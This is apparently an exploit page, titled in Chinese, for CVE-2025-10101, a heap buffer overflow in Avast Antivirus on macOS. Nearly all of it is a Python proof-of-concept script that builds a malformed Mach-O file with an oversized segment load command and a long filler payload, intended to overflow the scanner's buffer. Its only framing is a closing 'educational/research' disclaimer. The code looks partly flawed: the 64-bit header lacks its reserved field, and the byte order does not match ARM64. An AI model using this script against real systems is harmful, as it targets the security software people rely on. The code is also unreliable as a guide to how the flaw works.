CVE-2025-10101 Avast Antivirus MacOS堆缓冲区溢出漏洞导致本地代码执行

#!/usr/bin/env python3 # CVE-2025-10101 PoC - Malformed Mach-O File Generator # This PoC generates a minimal Mach-O file that may trigger buffer overflow in Avast Antivirus import struct import sys def create_malformed_macho(): """ Create a malformed Mach-O file that could trigger heap buffer overflow in Avast Antivirus scanning engine on macOS. """ # Mach-O 64-bit magic number (big endian) MH_MAGIC_64 = 0xfeedfacf # File header structure mach_header = struct.pack('>IIIIIII', MH_MAGIC_64, # magic number 0x01000007, # cputype (ARM64) 0x80000000, # cpusubtype 0x00000002, # filetype (EXECUTE) 0x00000003, # ncmds (number of load commands) 0x20000000, # sizeofcmds 0x00000085 # flags ) # Create oversized load command to trigger buffer overflow # LC_SEGMENT_64 command with oversized segment data LC_SEGMENT_64 = 0x19 cmd_size = 0x1000 # Intentionally large command size segment_cmd = struct.pack('>II', LC_SEGMENT_64, cmd_size) segment_name = b'__TEXT' + b'\x00' * (16 - 6) # Craft oversized segment data to overflow buffer oversized_data = b'A' * 0x2000 # Data larger than expected buffer mach_file = mach_header + segment_cmd + segment_name mach_file += struct.pack('>IIIIIIII', 0, 0x1000, 0, 0x1000, 0, 0, 0, 0) mach_file += oversized_data return mach_file if __name__ == '__main__': output_file = 'CVE-2025-10101_poc.macho' macho_data = create_malformed_macho() with open(output_file, 'wb') as f: f.write(macho_data) print(f'[+] PoC Mach-O file created: {output_file}') print(f'[+] File size: {len(macho_data)} bytes') print('[!] Note: This PoC is for educational/research purposes only')